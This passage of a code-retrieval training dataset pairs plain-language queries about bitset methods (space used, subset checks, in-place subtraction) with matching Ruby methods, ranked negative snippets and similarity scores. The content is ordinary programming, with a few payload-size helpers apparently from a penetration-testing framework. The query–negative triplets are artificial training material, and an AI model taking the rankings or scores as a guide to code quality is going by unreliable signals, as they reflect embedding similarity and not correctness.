"0.49651116",
"0.49497047",
"0.4938047",
"0.4937585",
"0.49269754",
"0.4922897",
"0.49130446",
"0.49128804",
"0.4912777",
"0.49121583",
"0.49100712",
"0.49076518",
"0.49075648",
"0.49072635",
"0.4904633",
"0.4904633",
"0.49041083",
"0.48882145",
"0.48838726",
"0.4880157",
"0.4879256",
"0.4876923"
] |
0.559628
|
20
|
return how much space is being used by the bits array not how many actually have member bits on.
|
def length_in_long_words
return @bits.attr_length
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size\n (@bit_length*@length*@count)/8.0\n end",
"def size\n BitCounter.count(@val)\n end",
"def bit_set_size\n @bit_set.size\n end",
"def bit_length\n (negative? ? -self : self + ONE).log2.ceil\n end",
"def bit_length\n @bit_length ||= ECDSA.bit_length(field.prime)\n end",
"def used_space\n size - free_space\n end",
"def memused\n @memtotal - @memfree\n end",
"def compute_need_bits; end",
"def bc_count\n \t@generic.size + @initial.size + @final.size + @cyclic.size\n end",
"def total_bytes\n (wired + active + inactive + free) * pagesize\n end",
"def memsize\n end",
"def available_slots()\n return @size - @used_spaces\n end",
"def space_available\n used = 0\n if recordings.any?\n used = recordings.map(&:full_size).reduce(:+) \n end\n\n total_space - used\n end",
"def used_bits?(_options = {})\n used_bits.size > 0\n end",
"def bytes_used\n bytes_total - bytes_free\n end",
"def queens_size\n # Special case to handle a bitset of 64 bits\n if @size == 8\n bits = 0\n (@size * @size).times { |i|\n if @state[i]\n bits += 1\n end\n }\n return bits\n end\n\n return @state.cardinality\n end",
"def raw_size\n valid_blobs.map(&:raw_size).sum\n end",
"def size_in_nibbles\n adder = size % 4 == 0 ? 0 : 1\n (size / 4) + adder\n end",
"def used_bytes\n size = 0\n unless empty?\n actual_node = @tail_node\n while actual_node != nil do\n size += actual_node.value.value.length\n actual_node = actual_node.next_node\n end\n end\n size\n end",
"def _size\n @allocated.length + @available_connections.length\n end",
"def byte_size()\n if @record and RECORD_INFO[@record.type].size > 0 then\n RECORD_INFO[@record.type].size * @value.length\n else\n sum = 0\n @value.each do |val|\n sum += (val.length % 2 == 0) ? val.length : val.length + 1\n end\n sum\n end\n end",
"def size\n\t\t\treturn @m.capacity\n\t\tend",
"def get_size\n @buckets.length\n end",
"def wordBits\n @@wordBits\n end",
"def size\n\t\treturn @m.capacity\n\tend",
"def size\n\t\t\t@mask.size\n\t\tend",
"def length\n @bin_data.length\n end",
"def size_mum_record\n 8\n end",
"def size\n @list.map { |bin| bin.size }.reduce(0, :+)\n end",
"def bit_strength\n if self.rsa?\n return @req.public_key.n.num_bits\n elsif self.dsa?\n return @req.public_key.p.num_bits\n end\n end",
"def total_free_space\n self.free_spaces.reduce(0, :+)\n end",
"def size\n @length / 4\n end",
"def d_size\n @capacity / @blockSize\n end",
"def general_bin_space\n general_bin_space = 0\n @bins.each do |bin|\n if bin.type == 'General'\n general_bin_space = bin.bin_level.to_i + general_bin_space\n end \n end\n general_bin_space\n end",
"def bit_strength\n if self.rsa?\n return @cert.public_key.n.num_bits\n elsif self.dsa?\n return @cert.public_key.p.num_bits\n end\n end",
"def spaceAvailable\n\t\treturn @maxElements > @weapons.length + @shieldBoosters.length\n\tend",
"def byte_size()\n @value.length * 4\n end",
"def byte_size()\n @value.length * 4\n end",
"def memory_used_with_g\n\t\tself.memory_memused.map { |i| i / 1000000000.0}\n\tend",
"def size\n return @array.size\n end",
"def get_bit_length(n)\n if n == 0\n # we require no bit to store 0.\n # That is, absence of bit is considered 0.\n return 0\n else \n return 1 + get_bit_length(n >> 1)\n end\nend",
"def used\n data.used\n end",
"def size\n @real_time_memory.size + @user_memory.size\n end",
"def positives\n @l.size - zeros - infs\n end",
"def size\n @allocated.length + @available_connections.length\n end",
"def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.\n space += 29\n\n # Reliability adds some bytes!\n space += 44\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end",
"def get_allocated_cells\n\t\tallocated_cells = 0.0;\n\t\t@cells.each { |i| i.each { |j| allocated_cells += 1 if j.type != Cell::BLOCKED } }\n\t\treturn (allocated_cells*Dungeon::ROOM_ALLOCATION_WEIGHT).floor\n\tend",
"def compute_need_bits( data )\n need_bits = data[:need_bytes] * 8\n if need_bits < MINIMUM_BITS\n need_bits = MINIMUM_BITS\n elsif need_bits > MAXIMUM_BITS\n need_bits = MAXIMUM_BITS\n end\n\n data[:need_bits] = need_bits\n data[:need_bytes] = need_bits / 8\n end",
"def size\n value.map(&:size).inject(0, :+)\n end",
"def determine_bit_depth\n case size\n when 1..2 then 1\n when 3..4 then 2\n when 5..16 then 4\n when 17..256 then 8\n end\n end",
"def bytesize_of(member)\n self::MEMBERS_HASH[member].size\n end",
"def memsize; RAtlas::memsize(@storage);end",
"def size\n Float::MAX.to_i\n end",
"def size\n @ary.size / ARY_SLICE_SIZE\n end",
"def num_buckets\n @store.length\n end",
"def size_used\n info[\"size-used\"]\n end",
"def module_size\n @version * 4 + 17\n end",
"def total_size\n return @total_size if @total_size\n if @structure.instance_of? Array\n return 0 if @structure.empty?\n @total_size = strip(:size).flatten.inject { |sum, i| sum + i }\n else\n @total_size = size\n end\n end",
"def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)\n\n # TODO: this is coming soon\n # Reliability checks add 4 bytes for the first check, 5 per recv check (2)\n #space += 14\n\n # 2 more bytes are added for IPv6\n space += 2 if use_ipv6\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end",
"def size\n\n clib.tcmaprnum(pointer_or_raise)\n end",
"def bit_shift_count_for(operand, size)\n\t\toperand.v_bit.zero? ? 1 : (@cx.low > size ? size : @cx.low)\n\tend",
"def size\n\t\tlengths.reduce(&:*)\n\tend",
"def used\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tmemory = IO.foreach('/proc/meminfo').first(3)\n\t\t\t\tmemory[0].split[1].to_i - memory[2].split[1].to_i\n\t\t\tend",
"def size\n \t@array.count\n end",
"def nnz\n @nz.size \n end",
"def num_bytes\n return @num_bytes\n end",
"def height\n array.size\n end",
"def spaceAvailable\n return @maxElements > @weapons.length + @shieldBoosters.length\n end",
"def size\n 4\n end",
"def size\n self.data.length + 4\n end",
"def wBytesPerInterval\n self[:wBytesPerInterval]\n end",
"def capacity\n @slots.length\n end",
"def compute_bin_count q\n count = (@data.size / q.to_f).ceil\n count < 2 ? 2 : count\n end",
"def total_set\n @field.each_byte.inject(0) { |a, byte| (a += 1; byte &= byte - 1) while byte > 0 ; a }\n end",
"def count\n @bitmap.count\n end",
"def free_blocks\n free_space / BLOCK_SIZE\n end",
"def size\n @structure.size\n end",
"def num_buckets\n self.store.length\n end",
"def f size\n\t\tmasks = (size-1).downto(0).map{|s|\n\t\t\t2 ** s \n\t\t}\n\t\t(2 ** size).times.map{|x|\n\t\t\tmasks.map{|mask|(x & mask)==0}\n\t\t\t}\n\tend",
"def size\n self.dna_hash.size\n end",
"def size\n self.dna_hash.size\n end",
"def total_count\n @_total_count || @_original_array.length\n end",
"def size\n pad.size\n end",
"def free_block_count\n dev_stat ? dev_stat.blocks_free / (Block.size / dev_stat.block_size) : 0\n end",
"def size()\n return(@hostmask + 1)\n end",
"def current_table_size\n @table.inject(0) { |r, (k, v)| r + k.bytesize + v.bytesize + 32 }\n end",
"def active_bytes\n active * pagesize\n end",
"def size\n\t\tlast - first + (exclude_end? ? 0 : 1)\n\tend",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def fbe_size\n 4\n end",
"def size\n @value.inject(0) {|acc, it| acc + it.size}\n end",
"def size\n @array.length\n end"
] |
[
"0.75101125",
"0.70908374",
"0.7061244",
"0.6787114",
"0.6756178",
"0.6722419",
"0.6717895",
"0.6699926",
"0.65764326",
"0.65331024",
"0.6499857",
"0.6486233",
"0.6473902",
"0.6449902",
"0.64023906",
"0.63933676",
"0.6386247",
"0.6320617",
"0.6312292",
"0.6276972",
"0.62598294",
"0.62038237",
"0.62030053",
"0.6201162",
"0.61972314",
"0.61863047",
"0.61732846",
"0.617107",
"0.6155624",
"0.61494476",
"0.61366546",
"0.6131397",
"0.6116736",
"0.6102814",
"0.60930717",
"0.6087592",
"0.6077547",
"0.6077547",
"0.6075681",
"0.6074578",
"0.60668504",
"0.6063995",
"0.6059907",
"0.605961",
"0.60542494",
"0.6026407",
"0.60218674",
"0.6003727",
"0.5999357",
"0.5998738",
"0.5990628",
"0.59784156",
"0.59754986",
"0.59705156",
"0.5970427",
"0.59686077",
"0.59530586",
"0.5941662",
"0.59414446",
"0.5931627",
"0.59269273",
"0.5917591",
"0.5912179",
"0.5909401",
"0.590605",
"0.59026647",
"0.58932644",
"0.5888184",
"0.58826613",
"0.58785295",
"0.5864673",
"0.5844251",
"0.5840872",
"0.58406514",
"0.58392036",
"0.58363354",
"0.5832609",
"0.5823637",
"0.58209074",
"0.5820288",
"0.5820288",
"0.58107126",
"0.5806884",
"0.5803329",
"0.58010375",
"0.58003324",
"0.5794124",
"0.5790548",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.5784928",
"0.57788885",
"0.57694024"
] |
0.5792505
|
87
|
Is this contained within a?
|
def subset(a)
if ((a).nil?)
return false
end
return (self.and_(a) == self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def contained?(other); end",
"def contained?(other); end",
"def contained?(other); end",
"def child_of?(parent); end",
"def contained_by?(kontainer)\n enclosing_containers.include?(kontainer)\n end",
"def child_of?(residue)\n residue.residue_composition.include?(self)\n end",
"def kind_of?(thing)\n ancestors.include? thing\n end",
"def in?(object)\n object.include?(self)\n end",
"def in?(object)\n object.include?(self)\n end",
"def contained?(other)\n other.contains?(self)\n end",
"def contains? context\n until context.nil?\n return true if context == self\n context = context.parent\n end\n false\n end",
"def is_a_superstate_of? x\n x.ancestors.include?(self)\n end",
"def matches_ancestors?(ancestors); end",
"def inside?(category)\n category == self || is_descendant_of?(category)\n end",
"def if_ancestor_or_self\n local_page_id = self[:id].to_s\n ids = @global_page.ancestor_ids + [@global_page.id.to_s]\n ids.include?(local_page_id)\n end",
"def whole_reg?\n size == parent.size\n end",
"def contains?(point)\n point.inside?(self)\n end",
"def nested_child?\n @elements.last.class.method_defined?('add_element') && @elements.last.container\n end",
"def used_by?(element)\n end",
"def used_by?(element)\n end",
"def recursive_this?(instance)\n this_map[instance.object_id] == true\n end",
"def can_contain?(element)\n false\n end",
"def contained?\n !container.nil?\n end",
"def in_to?\n [Referenced::BelongsTo, Embedded::EmbeddedIn].any? { |a| self.is_a?(a) }\n end",
"def contained?(other)\n center.distance(other.center) < (@r - other.r).abs\n end",
"def is_a_substate_of? x\n self.ancestors.include?(x)\n end",
"def parent_contains?(parent_node, sigle)\n parent_node.data.get_content_array.each do |s, a, o|\n if s == sigle then return true end\n end\n return false\n end",
"def recursive_that?(instance)\n that_map[instance.object_id] == true\n end",
"def involved_plan_object?(obj)\n super || obj == parent\n end",
"def include?(p0) end",
"def include?(p0) end",
"def include?(p0) end",
"def include?(p0) end",
"def include?(p0) end",
"def has_ancestor?(element, ancestor)\n ancestors = element.ancestors\n ancestors.include?(ancestor)\n end",
"def include?(p0) end",
"def contains?(_other)\n true\n end",
"def is_child_of?(_parent)\n return false if (self == _parent) or self.root?\n _parent == self.parent\n end",
"def isInside(_pos)\n raise \"not defined\" ;\n end",
"def inside?(elem)\n [:left, :top, :width, :height].each do |type|\n return false unless elem.respond_to? type\n end\n (@left > elem.left) && (@left < elem.left + elem.width) &&\n (@top > elem.top) && (@top < elem.top + elem.height)\n end",
"def subTagOf?(iOtherTag)\n rFound = false\n\n lCheckTag = @Parent\n while (lCheckTag != nil)\n if (lCheckTag == iOtherTag)\n rFound = true\n break\n end\n lCheckTag = lCheckTag.Parent\n end\n\n return rFound\n end",
"def is_parent_or_future_instance?\n return !self.over? || self.is_parent?\n end",
"def is_a_child?(object)\n object.respond_to?(:parent) && object.parent\n end",
"def nested_child?\n @options.last.last.class.method_defined?('add_element') && @options.last.last.container\n end",
"def descended_from?( container )\n return true if self == container\n return false unless parent\n parent.descended_from? container\n end",
"def child_of?(parent)\n self.class.child?(type, parent)\n end",
"def is_immediate_parent?( potential_parent_array )\n \n return @parents.include?( potential_parent_array )\n \n end",
"def include?(member)\n @self_is_object = self[0].respond_to?(:name) && self[0].class != Symbol unless defined?(@self_is_object)\n\n if @self_is_object\n any? { |s| s.name == member }\n else\n super\n end\n end",
"def is_ancestor_of?(other)\n same_scope?(other) && other.is_descendant_of?(record)\n end",
"def here?\n @locations.any?(&:here)\n end",
"def contains?(other)\n other.corners.all? { |corner| includes_point?(corner) }\n end",
"def instance_of?(p0) end",
"def member_of?(board)\n board.members.include? self\n end",
"def is_ancestor_of?(other)\n other[tree_path_field].include?(self._id)\n end",
"def matching_ancestors; end",
"def include?(other)\n `#{@el}.contains(#{DOM::NODE.get_element(other)})` || other == self\n end",
"def nested?\n nesting_owner.length > 0\n end",
"def collision_detected?\n ($boxes - Array(self)).any? do |other_box|\n # .include method with other_square\n other_box.include?(@square)\n end\nend",
"def member?(p0) end",
"def member?(p0) end",
"def member?(p0) end",
"def is_descendant_of?(other)\n self[tree_path_field].include?(other._id)\n end",
"def is_or_is_ancestor_of?(other)\n other == self || is_ancestor_of?(other)\n end",
"def belongs_under?(parent, child)\n self.find_owner(child, parent) != nil\n end",
"def lives_in?(apartment)\n if apartment.instance_of? Apartment\n self.apartment_id == apartment.id\n else\n self.apartment_id == apartment\n end\n end",
"def include?(proof)\n root = acc[proof.siblings.length]\n n = proof.payload\n proof.siblings.each_with_index do |sibling, height|\n if ((1<<height) & proof.position) == 0\n n = Utreexo.parent(n, sibling)\n else\n n = Utreexo.parent(sibling, n)\n end\n end\n n == root\n end",
"def children?\n self.children.any?\n end",
"def ancestor_of?(node)\n node.dotted_ids.length > self.dotted_ids.length && node.dotted_ids.starts_with?(self.dotted_ids)\n end",
"def is_or_is_ancestor_of?(other)\n (other == self) or is_ancestor_of?(other)\n end",
"def parent_collection?\n parent.collection?\n end",
"def overlaps?(other); end",
"def overlaps?(other); end",
"def overlaps?(other); end",
"def included_in?(other_rect)\n self == self.intersects(other_rect)\n end",
"def parent?\n true \n end",
"def trueish?\n %w(1 t).include? self\n end",
"def is_ancestor_of?(other)\n same_nested_set_scope?(other) && other.lft > lft && other.rgt < rgt\n end",
"def contain?(position); end",
"def include?(elem)\n @elements.include?(elem)\n end",
"def include?(obj)\n n = 0\n lim = self.__size\n while n < lim\n if self.__at(n) == obj\n return true\n end\n n += 1\n end\n false\n end",
"def contain?(rect)\n nself = self#.normalize\n rect = Rect.new_from_object(rect)#.normalize!\n return (nself.left <= rect.left and rect.right <= nself.right and\n nself.top <= rect.top and rect.bottom <= nself.bottom)\n end",
"def has_parent?\n if !self.parent.nil?\n return self.parent\n else\n return false\n end\n end",
"def overlaps_with?(other_obj) \n self.meetings.each do |self_meeting|\n other_obj.meetings.each do |other_meeting|\n return true if self_meeting.overlaps_with? other_meeting\n end\n end\n return false\n end",
"def overlaps_with?(other_obj) \n self.meetings.each do |self_meeting|\n other_obj.meetings.each do |other_meeting|\n return true if self_meeting.overlaps_with? other_meeting\n end\n end\n return false\n end",
"def can_have_associated_objects?(obj)\n true\n end",
"def contained_by?(resource, container, catalog)\n container_of = catalog.container_of(resource)\n case container_of\n when nil\n false\n when container\n true\n else\n contained_by?(container_of, container, catalog)\n end\nend",
"def parent?\n !children.empty?\n end",
"def parent?\n true\n end",
"def has_conjunction?\n\t\treturn self.num_sublinkages > 1\n\tend",
"def superselector?(cseq)\n cseq.members.all? {|seq1| members.any? {|seq2| seq2.superselector?(seq1)}}\n end",
"def main?\n main_container == self\n end",
"def node?\n any?(&:node?)\n end",
"def self_placements_only?\n count = 0\n placements.filled.each{|p| count += 1 if p.position.self_placement? }\n count == placements.filled.size\n end",
"def has_parent?\n !parent.nil?\n end",
"def root_object?\n root_object == self\n end",
"def has_parent?\n ! embedded['parent'].nil?\n end",
"def contains_x?(x)\n\t\t(self.left..self.right).include?(x);\n\tend",
"def has_children?\n self.children.any?\n end",
"def has_children?\n self.children.any?\n end",
"def has_children?\n self.children.any?\n end",
"def has_children?\n self.children.any?\n end"
] |
[
"0.7175735",
"0.7175735",
"0.7175735",
"0.70412767",
"0.70141953",
"0.6748546",
"0.66595817",
"0.66311395",
"0.66311395",
"0.65631026",
"0.6485252",
"0.64775914",
"0.6428915",
"0.6327981",
"0.6316018",
"0.63158834",
"0.6312854",
"0.6304664",
"0.6299909",
"0.6299909",
"0.6293197",
"0.62477",
"0.62408215",
"0.62397486",
"0.6234597",
"0.6209964",
"0.6204542",
"0.6192958",
"0.61640745",
"0.6161536",
"0.6161536",
"0.6161536",
"0.6161536",
"0.6161536",
"0.6161207",
"0.61611724",
"0.6114425",
"0.610367",
"0.6102071",
"0.6083622",
"0.6081786",
"0.60587096",
"0.6050746",
"0.60433155",
"0.6033136",
"0.6022187",
"0.6019742",
"0.59972376",
"0.59893626",
"0.5969293",
"0.59517837",
"0.59506273",
"0.59499663",
"0.5944436",
"0.5937869",
"0.592433",
"0.59217787",
"0.5920655",
"0.5916987",
"0.5916987",
"0.5916987",
"0.5901029",
"0.5878697",
"0.5876887",
"0.5864861",
"0.58616763",
"0.5856374",
"0.5853786",
"0.58529645",
"0.585244",
"0.58498675",
"0.58498675",
"0.58498675",
"0.5847034",
"0.583985",
"0.5833336",
"0.583149",
"0.58243823",
"0.5817005",
"0.5815005",
"0.5811715",
"0.580493",
"0.58018804",
"0.58018804",
"0.5799801",
"0.57938206",
"0.5791916",
"0.5790414",
"0.5789096",
"0.57845706",
"0.5781534",
"0.5779187",
"0.5775857",
"0.57733655",
"0.57661146",
"0.5762647",
"0.5758362",
"0.575738",
"0.575738",
"0.575738",
"0.575738"
] |
0.0
|
-1
|
Subtract the elements of 'a' from 'this' inplace. Basically, just turn off all bits of 'this' that are in 'a'.
|
def subtract_in_place(a)
if ((a).nil?)
return
end
# for all words of 'a', turn off corresponding bits of 'this'
i = 0
while i < @bits.attr_length && i < a.attr_bits.attr_length
@bits[i] &= ~a.attr_bits[i]
i += 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def -(*others)\n self.dup.sub!(*others)\n end",
"def -(other)\n self & other.complement\n end",
"def -(a)\n diff = Vector.new\n self.each_index{|k| diff[k] = self[k]-a[k]}\n diff\n end",
"def -(other)\n entries - comparable(other)\n end",
"def subtract!(rhs)\n subtract rhs, self\n end",
"def substract_arr!(another_arr, x, method='*')\n for i in 0...self.size do self[i] = self[i] - another_arr[i].send(method, x) end\n self\n end",
"def -(other)\n other.inject(clone) do |copy, e|\n copy.delete e\n copy\n end\n end",
"def -@\n CAS.invert(self)\n end",
"def -(rhs)\n difference(rhs)\n end",
"def -\n a = pop\n b = pop\n push b - a\n end",
"def -(other)\n self.class.new(values: (to_a - other.to_a))\n end",
"def -@\n return self.invert\n end",
"def -@\n return self.invert\n end",
"def -(other_list)\n without_list = self.class.copy_list(self)\n other_list.list.each do |item, int_value|\n without_list.list.delete_if{ |without_list_item, other_value| without_list_item.equal?(item)}\n end\n\n return without_list\n end",
"def complement\n l = self.clone\n l.from = to\n l.from_orient = (to_orient == :+ ? :- : :+)\n l.to = from\n l.to_orient = (from_orient == :+ ? :- : :+)\n l.overlap = complement_overlap\n l\n end",
"def subtract(arr1, arr2)\n arr1_dup = arr1.dup\n arr2.each { |x| arr1_dup.slice!(arr1_dup.index(x)) if arr1_dup.include?(x) }\n arr1_dup\nend",
"def sub!(rhs)\n @x -= rhs.x\n @y -= rhs.y\n @z -= rhs.z\n self\n end",
"def deintersect\n [self]\n end",
"def - other\n [ self[0] - other[0], self[1] - other[1] ]\n end",
"def subtract(other)\n clone.subtract! other\n end",
"def subtract!(other)\n if other.is_a?(Numeric)\n @data.each_index do |i|\n @data[i] -= other\n end\n elsif other.is_a?(Signal)\n raise ArgumentError, \"other.data.size #{other.size} is not equal to data.size #{@data.size}\" if other.data.size != @data.size\n @data.each_index do |i|\n @data[i] -= other.data[i]\n end\n elsif other.is_a?(Array)\n raise ArgumentError, \"other.size #{other.size} is not equal to data.size #{@data.size}\" if other.size != @data.size\n @data.each_index do |i|\n @data[i] -= other[i]\n end\n else\n raise ArgumentError, \"other is not a Numeric, Signal, or Array\"\n end\n return self\n end",
"def -@\n self.map{|x| -x}\n end",
"def complement!\n tmp = self.from\n self.from = self.to\n self.to = tmp\n tmp = self.from_orient\n self.from_orient = (self.to_orient == :+) ? :- : :+\n self.to_orient = (tmp == :+) ? :- : :+\n self.overlap = self.complement_overlap\n return self\n end",
"def complement\n self.class.all.difference(self)\n end",
"def custom_sub(arr1, arr2)\n fin_ar = arr1.dup\n arr2.each {|el2| fin_ar.delete(el2) }\nfin_ar\nend",
"def custom_sub(arr1, arr2)\n fin_ar = arr1.dup\n arr2.each {|el2| fin_ar.delete(el2) }\nfin_ar\nend",
"def -(rhs)\n Vektor[*zip(rhs).map {|x,y| x-y}]\n end",
"def complement\n self.class.all.difference(self)\n end",
"def sub!(rhs)\n @x -= rhs.x\n @y -= rhs.y\n self\n end",
"def deunion\n [self]\n end",
"def -@\n\t\tself.class.new(-@a, -@b)\n\tend",
"def -(other)\n self + (-other)\n end",
"def -(accumulation)\n accumulation = self.class.new(to_a - accumulation.to_a)\n accumulation\n end",
"def &(other)\n (to_set - other.to_set).inject(clone) do |copy, e|\n copy.delete e\n copy\n end\n end",
"def reject!(&b)\n a = reject(&b)\n if a.size == size\n nil # no changes, return nil\n else\n replace(a)\n self\n end\n end",
"def off(*a)\n case a.size\n when 1 then var(a[0], Array).clear\n when 2 then var(a[0], Array).tap { |e| e.delete a[1] }\n when 3 then var(a[0], Array).tap { |e| e.delete a[1].method(a[2]) }\n end\n self\n end",
"def swap!(a,b)\n av = self[a]\n self[a] = self[b]\n self[b] = av\n return self\n end",
"def -(vector)\n self + (-vector)\n end",
"def remove!( *entries )\n _modify( *entries ) { |a,b| a - b }\n end",
"def array_diff(a, b)\n\ta.each do |element| \n\t\tif b.include?(element)\n\t\t\ta.delete(element)\n\t\t\tb.delete(element)\n\t\tend\n\tend\n a\nend",
"def -(other)\n @vector.merge!(other.hash){|key, oldval, newval| newval - oldval}\n end",
"def attribute_set_subtract(a1, a2)\n a2_ids = a2.map {|a| a['id']}.compact\n\n a1.select {|a| a['id'] && !a2_ids.include?(a['id'])}\n end",
"def inverse\n\t\t\treturn self.dup.inverse!\n\t\tend",
"def array_diff(a, b)\n a.delete_if { |ael| b.include?(ael)}\nend",
"def -(other); end",
"def -(other)\n self + other * -1\n end",
"def -(other)\n combine_with(other) do |_variant, a, b|\n (a || 0) - (b || 0)\n end\n end",
"def -(subtrahend)\n self.minus(subtrahend).to_sub\n end",
"def v_minus(v)\n [v[0]-self[0],v[1]-self[1],v[2]-self[2]]\n end",
"def -(other)\n self.class.new(@children + [Not.new(other)])\n end",
"def -(other)\n end",
"def subtract(enum)\n if enum.instance_of?(IntegerSet)\n @val &= ~enum.to_i\n else\n do_with_enum(enum) { |o| delete(o) }\n end\n\n self\n end",
"def difference(other)\n self.class.from_a(to_a - other.to_a)\n end",
"def compine(a, b)\n\ta.each do |i|\n\t\tb.delete_at(b.index(i)) unless b.index(i) == nil\n\tend\n\treturn a + b\nend",
"def -( otherVector )\n\t\t\traise ArgumentError, \"Cannot add vectors of different dimensions\" unless\n\t\t\t\tself.size == otherVector.size\n\n\t\t\trvec = self.dup\n\t\t\trvec.each_index {|i| rvec[i] -= otherVector[i] }\n\t\t\treturn rvec\n\t\tend",
"def array_diff(a, b)\n b.each do |value|\n if a.include?(value)\n a.delete(value)\n end\n end\n return a\nend",
"def difference(other)\n self.class.from_a(to_a - other.to_a)\n end",
"def invert\n clone.invert!\n end",
"def -(other)\n raise TypeError unless other.kind_of?(self.class)\n if self < other\n raise UndefinedOperationError; end\n if other.zero? then return self; end\n self.prev - other.prev\n end",
"def - other_ary\n #This is a stub, used for indexing\nend",
"def array_diff(a, b)\n a.each do |x| \n if b.include?(x)\n a.delete(x)\n end\n end\nend",
"def -(other)\n return Minus.new(self, other)\n end",
"def -(value)\n duplicate = self.dup \n duplicate >> value\n duplicate\n end",
"def sub(v)\n @x -= v.x\n @y -= v.y\n self\n end",
"def -(other)\n return self + (-other)\n end",
"def -(other)\n other.subtract_from_date_time_value(self)\n end",
"def sub(other)\n @x = @x - other.x\n @y = @y - other.y\n @z = @z - other.z\n self\n end",
"def __sub(other)\n\t\tm = Memory.new(size) { |k|\n\t\t\t__get(k) - other.__get(k)\n\t\t}\n\t\treturn MemoryVector.__new__(m)\n\tend",
"def deopacize(alpha = 128)\n cl = self.clone\n cl.alpha = alpha\n cl\n end",
"def -(b)\n return self if b == 0\n b = b.symdescfy\n case b\n when Neg\n self + b.argument\n when Sum\n self - b.left - b.right\n when Sub\n self - b.left + b.right\n else\n __sub_else(b) || super\n end\n end",
"def -(enum)\n dup.subtract(enum)\n end",
"def -(vector)\n end",
"def difference(b)\n @pages.delete_if { |k, v| b.pages.include?(k) }\n self\n end",
"def swap!(a,b)\n self[a], self[b] = self[b], self[a]\n self\n end",
"def -(other)\n n=mcm(b, other.b)\n @a=(@a*n/@b)-(other.a*n/other.b)\n @b=n\n self.to_s #devuelve el resultado como cadena. la operacion modifica el valor del objeto.\n \n end",
"def -(other) \n ms = @matrix.clone\n ms.merge!(other.hash){ |key, oldval, newval| newval - oldval}\n end",
"def swap_elements_from_to(array,a,b)\n array[a] = array[a]^array[b]\n array[b] = array[b]^array[a]\n array[a] = array[a]^array[b]\nend",
"def revert\n self.class.revert [self]\n end",
"def -(other)\n combine(:-, other) ||\n fail(TypeError, \"Can't subtract #{other} from #{self}.\")\n end",
"def ~()\n newval = (~ @value) & self.mask\n bounded? ? self.class.new(newval, @length) : self.class.new(newval)\n end",
"def substracted_array(array)\n sub_array = array.clone\n\n (sub_array.length).step(0, -1) do |i|\n sub_array[i] -= 9 if sub_array[i] > 9\n end \n\n sub_array\n end",
"def -(other)\n Vector.new(@x - other.x, @y - other.y)\n end",
"def -(other)\n records = @records.clone.reject { |name, records| other.records.include?(name) }\n SearchAtom.new(records)\n end",
"def ~\n self ^ -1\n end",
"def subtract_them(a, b)\n return a - b\n end",
"def Subtract(val)\n self.value -= val\n end",
"def diff(options={})\n local = self.dup\n local = local.reverse if options.fetch(:ordered, false)\n value = local[0]\n local[1..-1].each { |v| value -= v }\n return value\n end",
"def -(other)\n self + -other.to_i\n end",
"def unary_minus\n UnaryMinus.new(self)\n end",
"def -(op)\n CAS::Diff.new self, op\n end",
"def minus(other)\n set = MyHashSet.new\n to_a.each { |el| set.insert(el) unless other.include?(el) }\n set\n end",
"def complement\n newvalues = self.rgba[0..-2].map {|v| Range.O.complement( v )}\n newvalues += [self.a]\n return Color[ *newvalues ]\n end",
"def array_diff(a, b)\n #your code here\n b.each do |value|\n a.reject! { |n| n == value }\n end\n return a\nend",
"def remove_dup(a,b)\n b.each {|e| a.delete_at(a.index(e)) unless a.index(e).nil?}\n a\nend",
"def reverse!\n raise \"can't modify frozen object\" if frozen?\n @x, @y = -@x, -@y\n @hash = nil\n self\n end",
"def swap!(a, b) self[a], self[b] = self[b], self[a]; self; end",
"def -(b)\n b = b.symdescfy\n case b\n when Infinity\n -b\n when Number\n __sub_number b\n when BinaryOp\n __sub_binary_op b\n when Neg\n self + b.argument\n else\n super\n end\n end",
"def -(other_vector)\n Vector.new @x - other_vector.x, @y - other_vector.y\n end",
"def -@\r\n map(&:-@)\r\n end",
"def array_difference(array1, array2)\n array1 = array1.dup\n array2.each { |del| array1.slice!(array1.index(del)) if array1.include?(del) }\n array1\n end"
] |
[
"0.6902598",
"0.6783287",
"0.66669285",
"0.66112226",
"0.6488639",
"0.6442295",
"0.6438208",
"0.6313281",
"0.625069",
"0.61773497",
"0.6151467",
"0.61400205",
"0.61400205",
"0.6126295",
"0.6089939",
"0.60820276",
"0.60635346",
"0.60316056",
"0.6028249",
"0.6013448",
"0.6004364",
"0.59949267",
"0.5959427",
"0.5948413",
"0.594453",
"0.594453",
"0.5928013",
"0.5911182",
"0.5887081",
"0.5873768",
"0.5869548",
"0.58664495",
"0.5851875",
"0.5811874",
"0.58112776",
"0.58082515",
"0.5785306",
"0.57732064",
"0.57672614",
"0.57556957",
"0.5745608",
"0.5740791",
"0.57223684",
"0.5711274",
"0.5708755",
"0.5683386",
"0.56700486",
"0.56603074",
"0.5653334",
"0.56470686",
"0.5632838",
"0.56238925",
"0.56216204",
"0.56145465",
"0.559402",
"0.55880153",
"0.55836266",
"0.5582295",
"0.557349",
"0.5571096",
"0.5564541",
"0.55288666",
"0.55216235",
"0.55200577",
"0.5499994",
"0.54892045",
"0.54710126",
"0.5469008",
"0.54616994",
"0.54454666",
"0.5439694",
"0.5426327",
"0.5425181",
"0.54196715",
"0.5417723",
"0.5414923",
"0.5411331",
"0.54101086",
"0.54052186",
"0.53808784",
"0.5379054",
"0.53753245",
"0.5372444",
"0.5370308",
"0.53545994",
"0.5351531",
"0.53501827",
